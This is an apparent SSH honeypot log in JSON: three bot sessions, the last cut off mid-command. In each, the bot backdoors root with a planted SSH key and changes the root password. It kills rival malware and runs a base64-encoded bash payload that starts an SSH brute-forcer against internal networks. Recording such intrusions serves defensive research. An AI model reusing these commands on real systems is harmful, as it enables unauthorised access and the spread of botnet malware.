{"id":"fbe487c2-e38d-4eca-b4f1-0815e77cb3af","name":"umber-coral-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"107.180.88.176","src_port":32976,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":235,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:17:08.121725+00:00","ended_at":"2026-08-23T06:17:08.182859+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3588,"events":[{"seq":1,"at":"2026-08-23T06:16:45.114788+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:16:45.350114+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:16:48.690222+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T06:16:48.690720+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T06:16:48.928875+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YvbvY6ifK4Pm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T06:16:49.166040+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T06:16:49.361709+00:00","kind":"output","latency_ms":432,"data":""},{"seq":8,"at":"2026-08-23T06:16:49.402562+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T06:16:49.403125+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T06:16:49.641836+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T06:16:50.141330+00:00","kind":"output","latency_ms":496,"data":" 15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-23T06:16:50.371649+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T06:16:50.907642+00:00","kind":"output","latency_ms":536,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T06:16:51.149754+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T06:16:51.150066+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T06:16:51.398559+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T06:16:51.399309+00:00","kind":"output","latency_ms":null,"data":" 06:16:51 up 3 days, 3:06, 0 user, load average: 0.15, 0.11, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T06:16:51.635881+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T06:16:51.636453+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T06:16:51.868720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T06:16:51.869156+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T06:16:52.101427+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T06:16:52.101876+00:00","kind":"output","latency_ms":null,"data":"top - 06:16:52 up 3 days, 3:06, 0 user, load average: 0.15, 0.11, 0.17\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T06:16:52.331464+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T06:16:52.332195+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T06:16:52.559561+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T06:16:52.560017+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T06:16:52.800736+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T06:16:52.801509+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T06:16:53.036093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T06:16:53.619839+00:00","kind":"output","latency_ms":582,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-23T06:16:53.857439+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T06:16:54.402966+00:00","kind":"output","latency_ms":544,"data":"24.0G"},{"seq":34,"at":"2026-08-23T06:16:55.285718+00:00","kind":"input","latency_ms":null,"data":"echo \"root #Admin123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T06:16:55.525605+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T06:16:55.947005+00:00","kind":"output","latency_ms":420,"data":""},{"seq":37,"at":"2026-08-23T06:16:56.304497+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T06:16:56.907903+00:00","kind":"output","latency_ms":601,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":39,"at":"2026-08-23T06:16:57.140538+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T06:16:57.603607+00:00","kind":"output","latency_ms":462,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":41,"at":"2026-08-23T06:16:57.839910+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T06:16:58.081588+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T06:16:58.630050+00:00","kind":"output","latency_ms":547,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":44,"at":"2026-08-23T06:16:58.861608+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T06:16:59.400649+00:00","kind":"output","latency_ms":534,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":46,"at":"2026-08-23T06:16:59.625655+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T06:17:00.116545+00:00","kind":"output","latency_ms":489,"data":""},{"seq":48,"at":"2026-08-23T06:17:08.122532+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T06:17:08.123721+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"#Admin123","method":"password","accepted":true,"tier":"other"}]} {"id":"70fe1f9e-b460-4fb0-8891-63a61305e666","name":"wistful-peaty-caribou","protocol":"ssh","channel_kind":"exec","src_ip":"136.232.11.10","src_port":43268,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":715,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:16:26.327703+00:00","ended_at":"2026-08-23T06:16:26.559283+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4025,"events":[{"seq":1,"at":"2026-08-23T06:15:27.296909+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:15:28.016652+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:15:28.580814+00:00","kind":"output","latency_ms":550,"data":""},{"seq":4,"at":"2026-08-23T06:15:33.819651+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-23T06:15:34.452999+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-23T06:15:35.170062+00:00","kind":"input","latency_ms":null,"data":"echo \"root:G8YT2A6uqGbG\"|chpasswd|bash"},{"seq":7,"at":"2026-08-23T06:15:35.870843+00:00","kind":"output","latency_ms":430,"data":""},{"seq":8,"at":"2026-08-23T06:15:35.882342+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-23T06:15:36.597115+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-23T06:15:37.429942+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-23T06:15:38.141567+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-23T06:15:39.224521+00:00","kind":"output","latency_ms":510,"data":"15888 3124 902 13176 228 4150"},{"seq":13,"at":"2026-08-23T06:15:39.940434+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-23T06:15:40.856507+00:00","kind":"output","latency_ms":622,"data":"-rwxr-xr-x 1 root root 147K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-23T06:15:41.570358+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T06:15:41.842745+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-23T06:15:42.558029+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-23T06:15:43.194202+00:00","kind":"output","latency_ms":null,"data":" 06:15:43 up 3 days, 3:05, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-23T06:15:43.910360+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-23T06:15:44.355134+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-23T06:15:45.071160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-23T06:15:45.826313+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-23T06:15:46.542998+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-23T06:15:47.135540+00:00","kind":"output","latency_ms":null,"data":"top - 06:15:47 up 3 days, 3:05, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-23T06:15:47.849915+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-23T06:15:48.618084+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-23T06:15:49.334924+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-23T06:15:50.225322+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-23T06:15:50.942396+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-23T06:15:51.248793+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-23T06:15:51.964667+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-23T06:15:53.511518+00:00","kind":"output","latency_ms":911,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":33,"at":"2026-08-23T06:15:54.227882+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-23T06:15:54.965948+00:00","kind":"output","latency_ms":411,"data":"24G"},{"seq":35,"at":"2026-08-23T06:16:03.423063+00:00","kind":"input","latency_ms":null,"data":"echo \"root Aa654321\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-23T06:16:04.136168+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-23T06:16:05.364455+00:00","kind":"output","latency_ms":628,"data":""},{"seq":38,"at":"2026-08-23T06:16:06.690081+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T06:16:08.157897+00:00","kind":"output","latency_ms":586,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T06:16:08.873561+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T06:16:09.693179+00:00","kind":"output","latency_ms":548,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-23T06:16:10.408911+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T06:16:11.122458+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T06:16:12.504023+00:00","kind":"output","latency_ms":608,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T06:16:13.218968+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-23T06:16:14.371174+00:00","kind":"output","latency_ms":823,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-23T06:16:15.087448+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-23T06:16:16.279846+00:00","kind":"output","latency_ms":557,"data":""},{"seq":49,"at":"2026-08-23T06:16:26.329012+00:00","kind":"input","latency_ms":null,"data":"whoami"}],"credentials":[{"username":"root","password":"Aa654321","method":"password","accepted":true,"tier":"other"}]} {"id":"d0bc5787-46a5-4e4a-8fcb-9ae66d4739cf","name":"earnest-rambling-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"20.102.98.53","src_port":49848,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":65,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T04:52:11.093291+00:00","ended_at":"2026-08-23T04:52:11.099503+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3537,"events":[{"seq":1,"at":"2026-08-23T04:51:53.281595+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T04:51:53.344546+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T04:51:55.928605+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T04:51:55.929046+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T04:51:55.994070+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Y8vWS58OUafM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T04:51:56.057108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T04:51:56.120827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T04:51:56.121475+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T04:51:56.187062+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T04:51:56.885489+00:00","kind":"output","latency_ms":696,"data":"15988 512 11234 311 4341 1024"},{"seq":11,"at":"2026-08-23T04:51:56.949140+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T04:51:57.838490+00:00","kind":"output","latency_ms":888,"data":"-rwxr-xr-x 1 root root 148K Aug 23 04:51 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T04:51:57.903659+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T04:51:57.904342+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T04:51:57.968722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T04:51:57.969573+00:00","kind":"output","latency_ms":null,"data":" 04:51:57 up 3 days, 1:42, 0 user, load average: 0.16, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T04:51:58.033606+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T04:51:58.034250+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T04:51:58.098176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T04:51:58.098880+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T04:51:58.163735+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T04:51:58.164361+00:00","kind":"output","latency_ms":null,"data":"top - 04:51:58 up 3 days, 1:42, 0 user, load average: 0.16, 0.15, 0.1\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T04:51:58.229760+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T04:51:58.231306+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T04:51:58.296706+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T04:51:58.297358+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T04:51:58.357631+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T04:51:58.358493+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-23T04:51:58.422190+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T04:51:58.928454+00:00","kind":"output","latency_ms":505,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T04:51:58.993221+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T04:51:59.417214+00:00","kind":"output","latency_ms":422,"data":"24G"},{"seq":33,"at":"2026-08-23T04:51:59.858887+00:00","kind":"input","latency_ms":null,"data":"echo \"root prueba123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T04:51:59.922546+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T04:52:00.088877+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-23T04:52:00.518504+00:00","kind":"output","latency_ms":594,"data":""},{"seq":37,"at":"2026-08-23T04:52:00.898770+00:00","kind":"output","latency_ms":809,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T04:52:00.964569+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T04:52:01.413605+00:00","kind":"output","latency_ms":448,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T04:52:01.480945+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T04:52:01.544845+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T04:52:02.263854+00:00","kind":"output","latency_ms":718,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T04:52:02.328691+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T04:52:02.814112+00:00","kind":"output","latency_ms":484,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T04:52:02.879298+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 